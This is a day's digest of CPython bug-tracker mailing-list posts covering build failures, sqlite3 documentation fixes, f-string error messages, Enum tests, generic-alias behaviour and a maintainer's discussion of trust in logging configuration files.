[issue46251] logger.config.configure_formatter executes arbitrary code

2022-01-04 Thread Vinay Sajip


Vinay Sajip  added the comment:

> "Dont load untrusted config files" is the answer I expected.

Yes. It's the usual convenience vs. security trade-off. To make configuration 
convenient, configurable factories with configurable parameters are provided. 
Can this be misused? Of course.

Digital signing has its place where auditability and accountability are 
important, but it would normally only be used in production where configuration 
changes are subject to a strict process with signoffs. 

There could definitely be stronger warnings in the documentation about trust 
and configurations.

> Is it reasonable to say that all classes  by _resolve() and resolve() should 
> have "logger." at the top of them? If not perhaps the object could have a 
> permitted list of top level packages that defaults to just "logger." but 
> could be extended to others by the developer.

I would think that's going too far, and perhaps it only moves the problem. In 
any case, dictConfig has a mechanism using the "()" key which allows any 
callable, not just a class. This is for a not uncommon use case where the 
callable is a function that returns a logging object (handler/formatter/filter) 
that has been tweaked in some way. But that feature can of course also be used 
with untrusted inputs to produce surprises.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46264] 'I'.lower() should give non dotted i for LANG=tr_TR

2022-01-04 Thread Frank Feuerbacher

New submission from Frank Feuerbacher :

This blasted Turkish I will be the death of us all...

https://www.unicode.org/versions/Unicode14.0.0/ch05.pdf has a lovely graphic on 
page 238 of the behavior of upper/lower casing of the various I's and when 
locale is Turkish or not. It seems that Python 3.9.5 is broken, and I see no 
evidence that version 10 has fixed it. 

Basically, U-0049 (I) should lower case to U-131 (ı) and vice-versa, when 
locale is tr_TR. The rules are different for other locales.

--
files: foo.py
messages: 409733
nosy: fbacher
priority: normal
severity: normal
status: open
title: 'I'.lower() should give non dotted i for LANG=tr_TR
versions: Python 3.9
Added file: https://bugs.python.org/file50541/foo.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue32642] add support for path-like objects in sys.path

2022-01-04 Thread Éric Araujo

Éric Araujo  added the comment:

I’m not an import expert but would have misgivings about having fancy types in 
sys.path too!  It seems so fundamental, and used from C and Python, with a 
simple interface of a direct list (plus importers and finders etc), that I 
would understand it pure strings were required and not Paths (and not all 
path-likes).

--
nosy: +eric.araujo
versions: +Python 3.11 -Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46251] logger.config.configure_formatter executes arbitrary code

2022-01-04 Thread Ned Deily


Change by Ned Deily :


--
nosy: +vinay.sajip

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46263] FreeBSD buildbots cannot compile Python

2022-01-04 Thread Christian Heimes


Change by Christian Heimes :


--
keywords: +patch
pull_requests: +28616
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30410

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46263] FreeBSD buildbots cannot compile Python

2022-01-04 Thread Christian Heimes


Christian Heimes  added the comment:

On my FreeBSD 13 VM the sysconfig data module is

   
build/lib.freebsd-13.0-RELEASE-amd64-3.11-pydebug/_sysconfigdata_d_freebsd13_.py
 

It does not have any multiarch suffix. The multiarch suffix is detected by 
configure.ac. Did FreeBSD 14.0's CC get support for "cc --print-multiarch"? I 
found a related FreeBSD bug 
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=258377

--
nosy: +christian.heimes

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue44024] Improve the TypeError message for non-string second arguments passed to the built-in functions getattr and hasattr

2022-01-04 Thread Éric Araujo

Change by Éric Araujo :


--
type: behavior -> enhancement
versions:  -Python 3.10, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46236] PyFunction_GetAnnotations returning Tuple vs Dict

2022-01-04 Thread Inada Naoki


Change by Inada Naoki :


--
keywords: +patch
pull_requests: +28615
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30409

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46236] PyFunction_GetAnnotations returning Tuple vs Dict

2022-01-04 Thread Pablo Galindo Salgado


Pablo Galindo Salgado  added the comment:

I am quite sure this is due to PR 23316

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46236] PyFunction_GetAnnotations returning Tuple vs Dict

2022-01-04 Thread Pablo Galindo Salgado


Change by Pablo Galindo Salgado :


--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46236] PyFunction_GetAnnotations returning Tuple vs Dict

2022-01-04 Thread Pablo Galindo Salgado


Pablo Galindo Salgado  added the comment:

Yeah, the docs mention explicitly that is a dictionary or NULL.

--
priority: normal -> release blocker

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46263] FreeBSD buildbots cannot compile Python

2022-01-04 Thread Guido van Rossum


Change by Guido van Rossum :


--
title: FreeBSL buiildbots cannot compile Python -> FreeBSD buildbots cannot 
compile Python

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46262] Enum tests: Error path in `_missing_()` is not covered for `Flag` and `IntFlag`

2022-01-04 Thread Ethan Furman


Change by Ethan Furman :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46262] Enum tests: Error path in `_missing_()` is not covered for `Flag` and `IntFlag`

2022-01-04 Thread Ethan Furman


Ethan Furman  added the comment:


New changeset 91bc6f9615eabb10090e2e4f0fe5913885a29c8c by Nikita Sobolev in 
branch 'main':
bpo-46262: [Enum] test error path in `Flag._missing_` (GH-30408)
https://github.com/python/cpython/commit/91bc6f9615eabb10090e2e4f0fe5913885a29c8c


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46263] FreeBSL buiildbots cannot compile Python

2022-01-04 Thread Ned Deily


Ned Deily  added the comment:

Not to point out the obvious but this buildbot uses --enable-shared which is 
often a source of build / bootstrap issues, such as the compiler executable 
being built ends up dynamically loading a libpython from a previous 
installation or build.

--
nosy: +ned.deily

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46236] PyFunction_GetAnnotations returning Tuple vs Dict

2022-01-04 Thread Dennis Sweeney


Dennis Sweeney  added the comment:

Pablo, should this be a release blocker?

--
nosy: +Dennis Sweeney, pablogsal

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue43683] Handle generator (and coroutine) state in the bytecode.

2022-01-04 Thread Pablo Galindo Salgado


Pablo Galindo Salgado  added the comment:

Is there anything left here?

--
priority: release blocker -> 

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue44828] tkinter.filedialog linked with Tk 8.6.11 crashes on macOS 12 Monterey, breaking IDLE saves

2022-01-04 Thread Chris Satterlee


Chris Satterlee  added the comment:

FYI, it appears that 8.6.11 works ok with MacOS 12.1 (released on 13-Dec-2021). 
8.6.12 also works with MacOS 12.1. I have not tested either extensively, 
however.

--
nosy: +csatt

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20854] multiprocessing.managers.Server: problem with returning proxy of registered object

2022-01-04 Thread Irit Katriel


Change by Irit Katriel :


--
stage:  -> resolved
status: pending -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46260] Misleading SyntaxError on f-string

2022-01-04 Thread Eric V. Smith


Eric V. Smith  added the comment:

Simpler reproducer:

>>> f"{foo)"
  File "", line 1
f"{foo)"
^
SyntaxError: f-string: unmatched ')'

I assume this is the same error as:

>>> foo)
  File "", line 1
foo)
   ^
SyntaxError: unmatched ')'

But I don't yet understand why it's choosing to parse that expression fragment. 
I'm working on it.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46263] FreeBSL buiildbots cannot compile Python

2022-01-04 Thread Pablo Galindo Salgado


Pablo Galindo Salgado  added the comment:

There is also this other builder:

https://buildbot.python.org/all/#/builders/172/builds/1093

failing what what seems is a freeze problem:

-  'use_frozen_modules': 1,
+  'use_frozen_modules': -1,
?+
   'use_hash_seed': 0,
   'user_site_directory': 1,
   'verbose': 0,
   'warn_default_encoding': 0,
   'warnoptions': [],
   'write_bytecode': 1,
   'xoptions': []}
--
Ran 1 test in 0.152s
FAILED (failures=1)
test test_embed failed
1 test failed again:
test_embed

Adding Eric and Guido for this particular problem to the nosy list

--
nosy: +eric.snow, gvanrossum

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue43137] webbrowser to support "gio open "

2022-01-04 Thread Pablo Galindo Salgado


Pablo Galindo Salgado  added the comment:

If this is not fixed by this week, I will be forced to revert the PR

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue40222] "Zero cost" exception handling

2022-01-04 Thread Pablo Galindo Salgado


Pablo Galindo Salgado  added the comment:

Can this be closed?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue31137] Add a path attribute to NamedTemporaryFile

2022-01-04 Thread Irit Katriel


Change by Irit Katriel :


--
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46263] FreeBSL buiildbots cannot compile Python

2022-01-04 Thread Pablo Galindo Salgado


New submission from Pablo Galindo Salgado :

Seems that the FreeBSD buildbots cannot compile Python 3.11 anymore:

LD_LIBRARY_PATH=/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build CC='cc 
-pthread' LDSHARED='cc -pthread -shared' OPT='-g -O0 -Wall'  
_TCLTK_INCLUDES='' _TCLTK_LIBS=''  ./python -E ./setup.py  build
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/./setup.py", 
line 49, in 
from distutils.command.build_ext import build_ext
^
  File 
"/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/distutils/command/build_ext.py",
 line 13, in 
from distutils.sysconfig import customize_compiler, get_python_version
^^
  File 
"/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/distutils/sysconfig.py",
 line 53, in 
_config_vars = get_config_vars()
   ^
  File 
"/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/sysconfig.py", line 
621, in get_config_vars
_init_posix(_CONFIG_VARS)
^
  File 
"/usr/home/buildbot/python/3.x.koobs-freebsd-564d/build/Lib/sysconfig.py", line 
482, in _init_posix
_temp = __import__(name, globals(), locals(), ['build_time_vars'], 0)
^
ModuleNotFoundError: No module named 
'_sysconfigdata_d_freebsd14_x86_64-unknown-freebsd14'
*** [sharedmods] Error code 1
make: stopped in /usr/home/buildbot/python/3.x.koobs-freebsd-564d/build
make: stopped in /usr/home/buildbot/python/3.x.koobs-freebsd-564d/build

https://buildbot.python.org/all/#/builders/483/builds/1408

--
messages: 409719
nosy: lukasz.langa, pablogsal
priority: release blocker
severity: normal
status: open
title: FreeBSL buiildbots cannot compile Python
versions: Python 3.11

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash

2022-01-04 Thread Pablo Galindo Salgado


Pablo Galindo Salgado  added the comment:

I did a run of pyperformance manually forcing setuptools<60.0 and another with 
setuptools>=60.0 I can reproduce the timing difference.

I assume we can therefore close this issue and maybe open another one thinking 
about how to deal with the setuptools problem (maybe reaching to the package 
maintainera).

--
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46262] Enum tests: Error path in `_missing_()` is not covered for `Flag` and `IntFlag`

2022-01-04 Thread Ethan Furman


Change by Ethan Furman :


--
assignee:  -> ethan.furman
nosy: +ethan.furman

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46262] Enum tests: Error path in `_missing_()` is not covered for `Flag` and `IntFlag`

2022-01-04 Thread Alex Waygood


Change by Alex Waygood :


--
title: Error path in `_missing_()` is not covered for `enum.Flag` and 
`enum.IntFlag` -> Enum tests: Error path in `_missing_()` is not covered for 
`Flag` and `IntFlag`

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46262] Error path in `_missing_()` is not covered for `enum.Flag` and `enum.IntFlag`

2022-01-04 Thread Nikita Sobolev


Change by Nikita Sobolev :


--
keywords: +patch
pull_requests: +28614
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30408

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46262] Error path in `_missing_()` is not covered for `enum.Flag` and `enum.IntFlag`

2022-01-04 Thread Nikita Sobolev


New submission from Nikita Sobolev :

I've noticed that `enum.Flag._missing_` has some uncovered paths. 

For example, this error is never checked: 
https://github.com/python/cpython/blob/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91/Lib/enum.py#L1222-L1225

The same method for `Enum` has good coverage: 
https://github.com/python/cpython/blob/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91/Lib/test/test_enum.py#L2278-L2325

I've added two simple test cases for `Flag` and `IntFlag` that check this.

--
components: Tests
messages: 409717
nosy: sobolevn
priority: normal
severity: normal
status: open
title: Error path in `_missing_()` is not covered for `enum.Flag` and 
`enum.IntFlag`
type: behavior
versions: Python 3.11

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue31188] Makefile.pre.in: commoninstall: reformat

2022-01-04 Thread Irit Katriel


Change by Irit Katriel :


--
keywords: +easy
type:  -> behavior
versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

FYI: https://sqlite.org/c3ref/last_insert_rowid.html

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs

2022-01-04 Thread Erlend E. Aasland


Change by Erlend E. Aasland :


--
keywords: +patch
pull_requests: +28613
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/30407

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

I also suggest to add a note about tables without rowids, quoting the SQLite 
docs:

Inserts into WITHOUT ROWID tables are not recorded.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

Oh, and the docs says that lastrowid "provides the rowid of the last modified 
row". This is not true; it provides the row id of the last _inserted_ row.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46261] [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs

2022-01-04 Thread Erlend E. Aasland


New submission from Erlend E. Aasland :

The sqlite3 docs say that lastrowid is set to None after executemany(), or 
after execute()'ing statements that are not INSERTs or REPLACEs. This is not 
true; in those cases, lastrowid is preserved. lastrowid is only None in a 
pristine cursor. Suggesting to reword the docs so they harmonise with the 
implementation.

Note, there is a quirk, or bug with lastrowid: it is set to 0 if the first 
statement that's execute()d on a cursor is a non-INSERT/REPLACE statement. For 
example:

>>> import sqlite3
>>> cx = sqlite3.connect(":memory:")
>>> cu = cx.cursor()
>>> cu.lastrowid
>>> cu.execute("select 1")
>>> cu.lastrowid
0

This behaviour is consistent across current main through 3.7 (though in 2.7, 
the behaviour is consistent with the docs, so it probably changed a long time 
ago). I'm not sure it's worth noting this side effect in the docs though.

--
assignee: docs@python
components: Documentation
messages: 409713
nosy: docs@python, erlendaasland, lemburg
priority: normal
severity: normal
status: open
title: [doc] fix inaccuracies in sqlite3.Cursor.lastrowid docs
versions: Python 3.10, Python 3.11, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany()

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

There are some inaccuracies in the docs I need to fix first, since those 
changes must be backported, and I want the updated docs applied upon the 
corrected docs; I'll open a separate issue/PR for that.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Guido van Rossum


Guido van Rossum  added the comment:

I now agree with Serhiy's plan. We should execute ASAP so people get a chance 
to try this in the next alpha release.

We will still allow instantiating e.g. list[int], right?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46260] Misleading SyntaxError on f-string

2022-01-04 Thread Pablo Galindo Salgado


Change by Pablo Galindo Salgado :


--
nosy: +eric.smith

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash

2022-01-04 Thread Guido van Rossum


Guido van Rossum  added the comment:

More data. On my Mac, with SETUPTOOLS_USE_DISTUTILS=stdlib, using -X importtime 
I see the following extra modules being imported:

import time:   278 |278 | types
import time:   112 |112 |   _operator
import time:   419 |531 | operator
import time:   129 |129 | itertools
import time:   325 |325 | keyword
import time:   468 |468 | reprlib
import time:   258 |258 | _collections
import time:   978 |   2156 |   collections
import time:78 | 78 |   _functools
import time:   835 |   3068 | functools
import time:  1359 |   5235 |   enum
import time:   138 |138 | _sre
import time:   497 |497 |   sre_constants
import time:   528 |   1025 | sre_parse
import time:   512 |   1674 |   sre_compile
import time:   109 |109 |   _locale
import time:   886 |886 |   copyreg
import time:   671 |   8574 | re
import time:   471 |471 |   warnings
import time:   330 |801 | importlib
import time:   906 |  10279 |   _distutils_hack

That's around 10 msec, so in the right ballpark.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46260] Misleading SyntaxError on f-string

2022-01-04 Thread Matt Delengowski


New submission from Matt Delengowski :

Example code


```
foo = 1
f"blank (open paren {foo )"
```

Error report

  File "", line 1
f"blank (open paren {foo )"
   ^
SyntaxError: f-string: unmatched ')'

The problem is due to unmatched '}' however.

--
components: Parser
messages: 409709
nosy: Delengowski, lys.nikolaou, pablogsal
priority: normal
severity: normal
status: open
title: Misleading SyntaxError on f-string
type: behavior
versions: Python 3.10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop and enable it for executemany()

2022-01-04 Thread Erlend E. Aasland


Change by Erlend E. Aasland :


--
title: [sqlite3] move set lastrowid out of the query loop -> [sqlite3] move set 
lastrowid out of the query loop and enable it for executemany()

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

True that :) I'll close GH-30371 and prepare GH-30380 for review. I'll request 
your review if you don't mind.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop

2022-01-04 Thread Marc-Andre Lemburg


Marc-Andre Lemburg  added the comment:

On 04.01.2022 21:02, Erlend E. Aasland wrote:
> 
> Erlend E. Aasland  added the comment:
> 
>> If possible, it's usually better to have the .executemany() create a
>> cursor with an output array providing the row ids, e.g. using "INSERT ...
>> RETURNING ..." (PostgreSQL). That way you can access all row ids and
>> can also provide the needed detail in case the INSERTs happen out of
>> order to map them to the input data.
> 
> Hm, maybe so. But it will add a lot of overhead and complexity to 
> executemany(), and there haven't been requests for this feature for sqlite3. 
> AFAIK, there hasn't been request for lastrowid for executemany() at all. 
> OTOH, my proposal of modifying lastrowid to always show the rowid of the 
> actual last inserted row is a very cheap operation, _and_ it simplifies the 
> code (=> increased maintainability), so I think I'll go for that.

Sorry, I wasn't suggesting this for SQLite; it's just a better
and more flexible option than using cursor.lastrowid where
available. Sadly, the PG extension is not standards conform SQL.

>> For cases where you don't need sequence IDs, it's often better to
>> not rely on auto-increment columns for IDs, but instead use random
>> pre-generated IDs. Saves roundtrips to the database and works nicely
>> with cluster databases as well.
> 
> Yes, but in those cases you keep track of the row id yourself, so you 
> probably won't need lastrowid ;)

Indeed, and that's the point :-)

Those auto-increment ID fields are
not really such a good idea to begin with. Either you know that you
will need to manipulate the rows after inserting them (in which case
you can set an ID) or you don't care about the individual rows and
only want to aggregate or search in them based on other fields.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46249] [sqlite3] move set lastrowid out of the query loop

2022-01-04 Thread Erlend E. Aasland


Erlend E. Aasland  added the comment:

> If possible, it's usually better to have the .executemany() create a
> cursor with an output array providing the row ids, e.g. using "INSERT ...
> RETURNING ..." (PostgreSQL). That way you can access all row ids and
> can also provide the needed detail in case the INSERTs happen out of
> order to map them to the input data.

Hm, maybe so. But it will add a lot of overhead and complexity to 
executemany(), and there haven't been requests for this feature for sqlite3. 
AFAIK, there hasn't been request for lastrowid for executemany() at all. OTOH, 
my proposal of modifying lastrowid to always show the rowid of the actual last 
inserted row is a very cheap operation, _and_ it simplifies the code (=> 
increased maintainability), so I think I'll go for that.

> For cases where you don't need sequence IDs, it's often better to
> not rely on auto-increment columns for IDs, but instead use random
> pre-generated IDs. Saves roundtrips to the database and works nicely
> with cluster databases as well.

Yes, but in those cases you keep track of the row id yourself, so you probably 
won't need lastrowid ;)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46110] compile("-"*3000000 + "4", '', mode) causes hard crash

2022-01-04 Thread Guido van Rossum


Guido van Rossum  added the comment:

I'm still wondering why speed.python.org showed such a slowdown, and how we can 
revert that. Here's a new theory.

Thanks to an investigation I did together with Eric, I now suspect that the 
release of setuptools 60.0.0 on Dec 19 is a smoking gun. PyPerformance 
(re)installs the latest versions of pip and setuptools.

Setuptools 60.0 makes a change in the file distutils-precedence.pth that causes 
it (by default) to import something called _distutils_hack and to call its 
add_shim() function. In previous setuptools this was off by default, but in 
60.0 it switched to on. See 
https://github.com/pypa/setuptools/blob/main/CHANGES.rst#v6000

That add_shim() call in turn installs an extra entry in front of sys.meta_path, 
which does a bunch of extra work. See 
https://github.com/pypa/setuptools/blob/main/_distutils_hack/__init__.py

Pablo, can we change the PyPerformance configuration or the script that runs it 
to set and export SETUPTOOLS_USE_DISTUTILS=stdlib, to see whether that affects 
perf at all?

(Note that the code in distutils-precedence.pth is executed by site.py in 
addpackage().)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46248] Compilation errors on macOS

2022-01-04 Thread Sandip Shah


Sandip Shah  added the comment:

Hi,

Like I mentioned in the ticket, I am trying to compile libplist,
libimobiledevice , and libimobiledevice-glue-1.0 on my mac.  These are
needed to do any development on a mobile device (specifically for testing /
automation).  I use Python for a lot of developmental work, and hence would
rather stick to the same framework to work on mobile devices too.

https://github.com/libimobiledevice

The project is not to "embed" Python, but to link to it, so that it can be
used for testing the app on the mobile (the tools rely on Cython).

The three tools have their own "autogen.sh" which fails with the error
mentioned in the ticket.

While researching, I had found this solution on stackexchange -
https://stackoverflow.com/questions/6490513/vim-failing-to-compile-with-python-on-os-x

Which led me to this after looking more in the python distribution files:

---
In file
/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/sysconfig.py
On line 410 - fn _generate_posix_vars

439-448
# There's a chicken-and-egg situation on OS X with regards to the
# _sysconfigdata module after the changes introduced by #15298:
# get_config_vars() is called by get_platform() as part of the
# `make pybuilddir.txt` target -- which is a precursor to the
# _sysconfigdata.py module being constructed.  Unfortunately,
# get_config_vars() eventually calls _init_posix(), which attempts
# to import _sysconfigdata, which we won't have built yet.  In order
# for _init_posix() to work, if we're on Darwin, just mock up the
# _sysconfigdata module manually and populate it with the build vars.
# This is more than sufficient for ensuring the subsequent call to
---

Let me know if you need any other information.

Thanks,

Sandip

On Tue, Jan 4, 2022 at 6:30 AM Ronald Oussoren 
wrote:

>
> Ronald Oussoren  added the comment:
>
> Part of the problem here is that most keys in the result of
> sysconfig.get_config_vars() are copied as-is from the CPython Makefile and
> pyconfig.h header file.
>
> The keys copied from the Makefile are in a lot of cases not useful for
> users of python because they contain values that are only useful while
> building CPython itself.
>
> Without knowing your use case it is hard to point you to a better
> solution, but as Ned writes in general just follow the instructions from
> the extending and embedding documentation.
>
> --
>
> ___
> Python tracker 
> 
> ___
>

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Alex Waygood


Alex Waygood  added the comment:

I agree with Serhiy.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Alex Waygood


Alex Waygood  added the comment:

Yes, there are a few exceptions to that :(

```
>>> from typing import Annotated
>>> x = Annotated[int, "idk some int"]
>>> x()
0
>>> isinstance(x, type)
False
>>>
>>> from re import Pattern
>>> y = Pattern[str]
>>> y()
Traceback (most recent call last):
  File "", line 1, in 
TypeError: cannot create 're.Pattern' instances
>>> isinstance(y, type)
True
```

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue45665] Problems caused by isinstance(list[int], type) returning True

2022-01-04 Thread Serhiy Storchaka


Serhiy Storchaka  added the comment:

My plan was to fix as much bugs in the stdlib and backport workaround to 3.9 
and 3.10, then propose to revert this "feature" in 3.11.

There is a risk of introducing some regressions by this change, but we can 
handle it. I think it is better to do it now and fix potential bugs in 
third-party code (we cannot add workarounds in all third-party code) than keep 
this weird special case forever.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue46009] sending non-None values makes generator raise StopIteration on next access

2022-01-04 Thread Brandt Bucher


Brandt Bucher  added the comment:


New changeset 31e43cbe5f01cdd5b5ab330ec3040920e8b61a91 by Brandt Bucher in 
branch 'main':
bpo-46009: Remove GEN_START (GH-30367)
https://github.com/python/cpython/commit/31e43cbe5f01cdd5b5ab330ec3040920e8b61a91


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue17951] TypeError during gdb backtracing

